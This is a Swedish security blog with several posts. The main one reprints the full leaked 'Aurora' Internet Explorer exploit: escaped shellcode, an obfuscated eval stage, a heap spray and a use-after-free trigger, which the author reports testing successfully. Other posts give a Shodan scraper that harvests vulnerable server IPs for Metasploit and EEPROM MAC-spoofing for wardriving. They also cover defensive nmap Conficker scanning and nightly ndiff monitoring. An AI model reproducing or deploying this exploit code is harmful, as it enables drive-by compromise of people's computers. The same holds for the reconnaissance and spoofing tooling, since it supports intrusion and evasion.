AURORA – the new IE Exploit

Posted in Säkerhet on January 16th, 2010 by admin

Denna vecka har den stora IT-nyheten varit att (vad ryktet säger) Kina har tagit sig in i nätverk så som Google, Adobe , Juniper och 29 andra stora aktörer.
Lite senare fick vi höra att de hade tagit sig in via en 0-day i Internet Explorer. Microsoft har nu gått ut med att sårbarheten finns där och drabbar samtliga versioner av IE. Sårbarheten annses vara en av de allvarligaste på mycket länge och Microsft kommer att bryta sin “2:dra tisdagen i månaden” patch cykel och släppa en uppdatering inom de närmaste dagarna.

Nu har då exploiten aka. Aurora läkt ut. Attacken har utförts genoma att mycket välskrivna mail riktade specifikt till en del personer på insidan av dessa företag med en länk till sidor där javascriptet här under injectade följande shellcode.


<html><script>var sc = unescape("
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175
%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8
%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8
%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8
%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8
%ub230%u81d9%u9a30%ud8db%u3ad8%ub021%uebb4%ud8ea
%uabb0%ubdb0%u8cb4%u9e53%u30d4%uda69%ud8d8
%u3053%ud9b2%u3081%udbfb%ud8d8%u213a%u3459%ud9d8
%ud8d8%u0453%u1b59%ud858%ud8d8%ud8b2%uc2b2
%ub28b%u27d8%u9c8e%u18eb%u5898%udbe4%uadd8%u5121
%u485e%ud8d8%u1fd8%udbdc%ub984%ubdf6%u9c1f
%udcdb%ubda0%ud8d8%u11eb%u8989%u8f8b%ueb89%u5318
%u989e%u8630%ud8da%u5bd8%ud820%u5dd7%ud9a7
%ud8d8%ud8b2%ud8b2%udbb2%ud8b2%udab2%ud8b0%ud8d8
%u8b18%u9e53%u30fc%udae5%ud8d8%u205b%ud727
%u865c%ud8d9%u51d8%ub89e%ud8b2%u2788%uf08e%u9e51
%u53bc%u485e%ud8d8%u1fd8%udbdc%uba84%ubdf6
%u9c1f%udcdb%ubda0%ud8d8%ud8b2%ud8b2%udab2%ud8b2
%ud8b2%ud8b0%ud8d8%u8b98%u9e53%u30fc%ud923
%ud8d8%u205b%ud727%uc45c%ud8d9%u51d8%u5c5e%ud8d8
%u51d8%u5446%ud8d8%u53d8%ub89e%ud8b2%ud8b2
%ud8b2%u9e53%u88b8%u8e27%u1fe0%ua89e%ud8d8%ud8d8
%u9e1f%ud8ac%ud8d8%u59d8%ud81f%ud8da%uebd8
%u5303%ubc86%ud8b2%u9e55%u88a8%ud8b0%ud8dc%u8fd8
%uae27%u27b8%udc8e%u11eb%ud861%ud8dc%u58d8
%ud7a4%u4d27%ud4ac%ua458%u27d7%uacd8%u58dd%ud7ac
%u4d27%u333a%u1b53%ud8f5%ud8dc%u5bd8%ud820
%udba7%u8651%ub2a8%u55d8%uac9e%u2788%ua8ae%u278f
%u5c6e%ud8d8%u27d8%ue88e%u3359%udcd8%ud8d8
%u235b%ua7d8%u277d%ub8ae%u8e27%u27ec%u5c6e%ud8d8
%u27d8%uec8e%u5e53%ud848%ud8d8%u4653%ud854
%ud8d8%udc1f%u84db%uf6b9%u8bbd%u8e27%u53f4%u5466
%ud8d8%u53d8%u485e%ud8d8%u1fd8%udfdc%uba84
%ubdf6%u3459%ud9d8%ud8d8%u0453%ud8b0%ud8d9%u8bd8
%ud8b0%ud8d9%u8fd8%ud8b2%ud8b2%u8e27%u53c4
%ueb23%ueb18%u5903%ud834%ud8da%u53d8%u5b14%u8c20
%ud0a5%uc451%u5bd9%udc18%u2b33%u1453%u0153
%u1b5b%uebc8%u8818%u8b89%u8888%u8888%u8888%u888f
%u5388%ud09e%u2f30%ud8d8%u53d8%ue4a6%uec30
%ud8d9%u30d8%ud8ef%ud8d8%ubbb0%uafae%ub0d8%ub0ab
%ub7bc%u538c%ud49e%u6e30%ud8d8%u51d8%ue49e
%u79bc%ud8dc%ud8d8%u7855%u27b8%u2727%ubdb2%uae27
%u53e4%uc89e%u4230%ud8d8%uebd8%u8b03%u8b8b
%u278b%u3008%ud83d%ud8d8%u3459%ud9d8%ud8d8%u2453
%u1f5b%u1fdc%ueadf%u49ac%u1fd4%udc9f%u51bb
%u9709%u9f1f%u78d0%u4fbd%u1f13%ud49f%u9889%ua762
%u9f1f%ue6c8%u6ec5%u1fe1%ucc9f%ub160%uc30c
%u9f1f%u66c0%ubea7%u1f78%uc49f%u7124%u75ef%u9f1f
%u40f8%uc8d2%ubc20%ue879%ud8d8%u53d8%ud498
%ua853%u75c4%ub053%u53d0%u512f%ubc8e%udcb2%u3081
%ud87b%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0
%ubdab%u8caa%ude53%uca30%ud8d8%u53d8%ub230%u81dd
%u5c30%ud8d8%u3ad8%ueb21%u8f27%u8e27%u58dc
%u30e0%ue058%uad31%u59c9%udda0%u4848%u4848%ud0ac
%u2753%u538d%u5534%udd98%u3827%ue030%ud8d8
%u1bd8%ue058%u5830%u31e0%uc9ad%ua059%u48dd%u4848
%uac48%ub03f%ud2d0%ud8d8%u9855%u27dd%u3038
%ud8cf%ud8d8%u301b%ud8c9%ud8d8%uc960%udcd9%u1a58
%ud8d4%uda33%u1b80%u2130%u2727%u8327%udf1e
%u5160%ud987%u1fbe%udd9f%u3827%u8b1b%u0453%ub28b
%ub098%uc8d8%ud8d8%u538f%uf89e%u5e30%u2727
%u8027%u891b%u538e%ue4ad%uac53%ua0f6%u2ddb%u538e
%uf8ae%u2ddb%u11eb%u9991%udb75%ueb1d%ud703
%uc866%u0ee2%ud0ac%u1319%udbdf%u9802%u2933%uc7e3
%u3fad%u5386%ufc86%u05db%u53be%u93d4%u8653
%udbc4%u5305%u53dc%u1ddb%u8673%u1b81%uc230%u2724
%u6a27%u3a2a%u6a2c%ud7ee%u28cb%ua390%ueae5
%u49ac%u5dd4%u7707%ubb63%u0951%u8997%u6298%udfa7
%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb
%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466
%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be
%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8
%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7
%ubcb9%ub2f6%ubfa8%u00d8");
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280,
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833,
728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364,
350, 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819, 686,
805, 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805, 693,
322, 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707, 833,
224, 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798, 224,
735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637,
735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i < sss.length; i ++ ){
  arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, ""
  );
  cc = cc.replace(/@/g, ",");
  eval(cc);
  var x1 = new Array();
  for (i = 0; i < 200; i ++ ){
    x1[i] = document.createElement("COMMENT");
    x1[i].data = "abc";
  }
  ;
  var e1 = null;
  function ev1(evt){
    e1 = document.createEventObject(evt);
    document.getElementById("sp1").innerHTML = "";
    window.setInterval(ev2, 50);
  }
  function ev2(){
    p = "
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d
\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
    for (i = 0; i < x1.length; i ++ ){
      x1[i].data = p;
    }
    ;
    var t = e1.srcElement;
  }
</script><span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span></body></html>

Bara timmar efter att exploiten hade läkt ut hade H.D Moore integrerat den till Metasploit.

Jag har bara testat mot WinXP med IE6 med lyckat resultat, men kommer försöka få igång fler set-up’s att testa mot under helgen.

The month of 0days

Posted in Säkerhet on January 14th, 2010 by admin

Det ryska säkerhetsföretaget Intevydis har lovat att göra januari till en jobbig månad för web och databas administratörer. Grundaren Evgeny Legerov har gått ut i media och sagt att mellan den 11 januari och den 6 februari kommer ett flertal 0days att publiceras på deras blog.

Det ryktas om sårbarheter i bland annat:
Web Servrar – Zeus web server, Sun web server och kanske även apache
Databaser – Mysql, Lotus Dominu, IBM DB2 och Informix.
Katalogservrar – Novell eDirectory, Sun Directory och Tivoli Directory

Intevydis säger sig göra detta pågrund av att mjukvaruföretagen förväntar sig att få till gång till PoC kod utan att betala för de tusentals timmar av QA som säkerhetsföretagen lägger på att hitta sårbarheter i programvaran.
I vissa fall så struntar till och med företagen i att patcha upp sårbarheterna efter att de har informerats om dem.
T.ex har en sårbarhet i RealPlayer rapporterats in av Intevydis för två år sedan och fortfarande finns sårbarheten i senaste releasen.

Intevydis menar även på att om sårbarheten visas upp för allmänheten kommer den patchas inom 24 timmar vilket man kan se i Open Source communityn.

Sen om detta är ett PR-trick kan diskuteras

Shodan query i terminalen

Posted in Linux, Programering, Säkerhet on January 6th, 2010 by admin

Under julledigheten fick jag lite tid över att leka lite mer med python vilket resulterade i att jag skrev ett litet program som kan utföra sökningar mot Shodan och sedan parsar ut ip nummerna och sparar dessa i en log vilken senare kan användas i till exempel metasploit.
Problem uppstog dock när jag skulle hitta på ett sätt att avsluta programet.
I version 1.0 så har jag löst det genom att page räknas upp med 1 varje för var sida och avslutas då page är mindre än 10, då Shodan bara har info på de 5-6 första sidorna i dagsläget trots att det finns flera sidor att blädra till. Inge vacker lösning så tips mottages.


#!/usr/bin/python
import urllib2, sys, re
from BeautifulSoup import BeautifulSoup

def info():
  help = '''
    ShodanScanner v.1.0 h-kan@h-kan.com

    USAGE: ./shodanscanner -q  -f
    Ex: ./shodanscanner -q apache+2.2.1 -f scan.log
    This scan for apache servers and save the IP's into scan.log.
    More advanced query's could be used like
    - apache+2.2.11 Search for apache servers running version 2.2.11
    - +country:SE Search for servers located in sweden
    - +hostname:.se Search for servers with ".se" in hostname
    - +port:22 Search for servers with service running on port 22
  	'''
  print help

def crawler(page):
  try:
    sock = urllib2.urlopen("http://shodan.surtri.com/?q=%s&page=%i"%(args1,page))
    homepage = sock.read()
    htmlDom = BeautifulSoup(homepage)
    links = htmlDom.findAll('a', {'href': True})
    return links
  except:
    print "[-] Connection Failed"
    sys.exit(0)

if __name__ == "__main__":
  page = 1
    if len(sys.argv) != 5:
      info()
      print "usage: %s -q  -f "%sys.argv[0]
      sys.exit(0)
    else:
      if sys.argv[1].lower() == "-q":
        args1 = sys.argv[2]
      if sys.argv[3].lower() == "-f":
        args2 = sys.argv[4]
    log = open(args2,"a")
    print "[+] Searching query: %s"%args1
    log.write("[+] Searching query: %s"%args1)
    log.close()
    print "[+] please wait ..."
    while page <=10:
      data = crawler(page)
      for link in data:
        log = open(args2,"a")
        if re.search("http://",link['href']):
          link = link['href'].replace("http://","")
          print "%s"%link
          log.write("%s\n"%link)
        log.close()
      page += 1

SHODAN – Indexering al a’ google-nmap

Posted in Linux on December 1st, 2009 by admin

För någon dag sedan såg en ny söktjänst dagens ljus. John Matherly aka achillean gav oss SHODAN som är en söktjänst för att hitta servrar, routerar och allt annat med ett WAN interface. I dagsläget är det mest webservrar som är indexerade men så småning om kommer även FTP, Telnet och SSH tjänster att dyka upp.

Sökmotorn har startat en hel del högljuda samtal om hurvida detta är rätt/fel då det i många länder anses olagligt att utföra portscanningar.

Man kan i nuläget söka på vilket land man vill utföra sökningen i, hostnamn, portar och till och med efter specifik version av mjukvaran som lyssnar på porten. Se det som en grovt nerbantad version av nmap som görs från en remote maskin.

Klicka här för att komma till SHODAN

Ribadeohacklab har redan släppt en beta av ett firefox addon för Shodan vilket kan hämtas här Computer Search Engine

Beyond MAC spoofing

Posted in Linux on December 1st, 2009 by admin

Ibland har man behovet av att spoofa sin MAC adress vid t.ex Wardriving eller om vid avlyssning i switchade nät.
Ändra den dynamiska Mac adressen i ett linux system går på 2 röda sekunder.

ifconfig eth0 hw ether 00:01:02:03:04:05

Dock läser kärnan in mac adressen ur eeprom vid varje uppstart så spoofen är bara tillfällig.
Vill man gå ett steg längre kan man skriva till eeprom dirket och ändra mac adressen permanent.
Detta fungerar dock inte på alla kort och man behöver “magic value key” för sitt NIC som kan fås av tillverkaren eller google.

Info om eeprom:
EEPROM

Innan vi börjar modifiera något så tar vi en dump av hela eeprom

# ethtool -e eth0 > eth0.eepromdump

Nu tar vi reda på vår MAC adress

# ifconfig | grep eth0

När vi hittat vår mac letar vi upp den i eeprom med hjälp av ethtool

ethtool -e eth0
Offset		Values
------		        ------
0x0000		xx xx xx xx xx xx 03 1a 00 00 01 02 01 47 00 00
0x0010		00 00 00 00 b0 49 6c 33 62 14 dc 27 86 80 00 00
0x0020		00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0030		00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0040		00 00 00 00 00 00 dc 27 00 00 00 00 00 00 00 00
0x0050		00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0060		20 01 00 40 13 41 00 00 00 00 00 00 00 00 00 00
0x0070		00 00 00 00 00 00 30 40 00 00 00 00 00 00 55 46

Ändra sedan värdet så här

ethtool -E eth0 magic 0x10d38086 offset 0 value 0xaa
ethtool -E eth0 magic 0x10d38086 offset 1 value 0xbb
ethtool -E eth0 magic 0x10d38086 offset 2 value 0xcc
ethtool -E eth0 magic 0x10d38086 offset 3 value 0xdd
ethtool -E eth0 magic 0x10d38086 offset 4 value 0xee
ethtool -E eth0 magic 0x10d38086 offset 5 value 0xff

eller scripta det om du kommer ändra ofta

#!/bin/bash
#
# Script for changing the mac in eeprom
#

numbers=(`echo $1 | tr ':' ' '`)

ethtool -E eth0 magic 0x10d38086 offset 0 value 0x${numbers[0]}
ethtool -E eth0 magic 0x10d38086 offset 1 value 0x${numbers[1]}
ethtool -E eth0 magic 0x10d38086 offset 2 value 0x${numbers[2]}
ethtool -E eth0 magic 0x10d38086 offset 3 value 0x${numbers[3]}
ethtool -E eth0 magic 0x10d38086 offset 4 value 0x${numbers[4]}
ethtool -E eth0 magic 0x10d38086 offset 5 value 0x${numbers[5]}

Sedan kör bara #./macscript.sh aa:bb:cc:dd:ee:ff eller liknande för att byta.

Conficker

Posted in Säkerhet on March 31st, 2009 by admin

I morgon är dagen D. Conficker masken som även är känd som Downdup, Downadup och Kido upptäcktes redan i oktober men uppskattas fortfarande finnas i miljontals datorer och aktiveras i morgon, 1 April.

Honeynet släppte igår info om Conflicker där du kan läsa allt om masken och hur den kan detekteras och raderas.

PDF’n kan laddas ner här:
Know Your Enemy: Containing Conficker

Du kan nu scanna ditt nät efter conficker infekterade datorer med hjälp av nmap. Dra ner senaste versionen.

# nmap -PN -T4 -p139,445 -n -v --script=smb-check-vulns
--script-args safe=1 192.168.0.1-254

Scanning 192.168.0.105 [2 ports]
Discovered open port 445/tcp on 192.168.0.105
Discovered open port 139/tcp on 192.168.0.105
Completed SYN Stealth Scan at 20:05, 0.02s elapsed (2 total ports)
NSE: Initiating script scanning.
Initiating NSE at 20:05
Completed NSE at 20:05, 0.04s elapsed
Host 192.168.0.105 appears to be up ... good.
Interesting ports on 192.168.0.105:
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:19:DB:F0:82:27 (Micro-star International CO.)

Host script results:
|  smb-check-vulns:
|  MS08-067: NOT RUN
|  Conficker: Likely CLEAN
|_ regsvc DoS: NOT RUN (add --script-args=unsafe=1 to run)

Nätverksövervakning med Ndiff

Posted in Säkerhet on March 16th, 2009 by admin

Efter att ha sett Fyodor’s otroligt underhållande tal under Defcon16 Scanning the Internet with Nmap så blev jag intresserad av den nya funktionen ndiff som finns med i utvecklar versionen.
Efter att ha läst i en annan säkerhets blog om hur ndiff kunde användas så vill jag sprida kunskapen vidare.
Ndiff i sig är inget speciellt utan det diffar två xml dumpar man skapat med nmap och formaterar detta på ett fint sett för användaren. Jag tänkte visa er hur jag har implementerat detta på vårt nät genom att köra en full portscanning över hela vårt subnet varje natt och sedan ndiffa scanningen med föregående natts scanning, maila resultatet till mig själv så att jag varje morgon ser om något nytt device är inkopplat på nätet eller om någon klient/server har någon ny öppen/stängd port sedan sist.

Så nu över till min lilla HowTo
Först måste vi tanka ner utveklar versionen och kompilera denna. Nmap snubbarnas revisionssytem är subversion så om du inte redan har detta måste du ordna det. Checka sedan ut koden och kompiler.

# svn co --username guest --password "" svn://svn.insecure.org/nmap/ nmap

Nu ska vi göra vår första scan manuellt för att skapa xml filen cron jobbet diffar mot.
Som root i /root kör följande fast anpassat efter ditt nät.

nmap -n -oX /root/baseline.xml 192.168.1.0/24

Nu skapar vi 2 cron jobb som körs varje natt. Det första jobbet scannar av hella vårt subnet och sparar outputen till current.xml, vi skappar även en lock fil här som finns så nmap körs.
(all kod på en rad)

0 1 * * * (touch /var/run/nmap.running; nmap -n -oX
/root/current.xml 192.168.1.0/24 >/dev/null;
rm /var/run/nmap.running)

I det andra cron jobbet ska vi låta ndiff gå igenom våra xml loggar och maila diffen till oss.
Om nmap inte är klart avaktar ndiff, ndiff körs, mailar outputen och slutligen ändrar den namt på vår senaste scanning till baseline.xml.
(allt på en rad)

0 2 * * * (while [ -f /var/run/nmap.running]; do sleep 5; done;
ndiff /root/baseline.xml /root/current.xml |
/bin/maix -s "Network Scan" din@mail.se;
mv /root/current.xml /root/baseline.xml)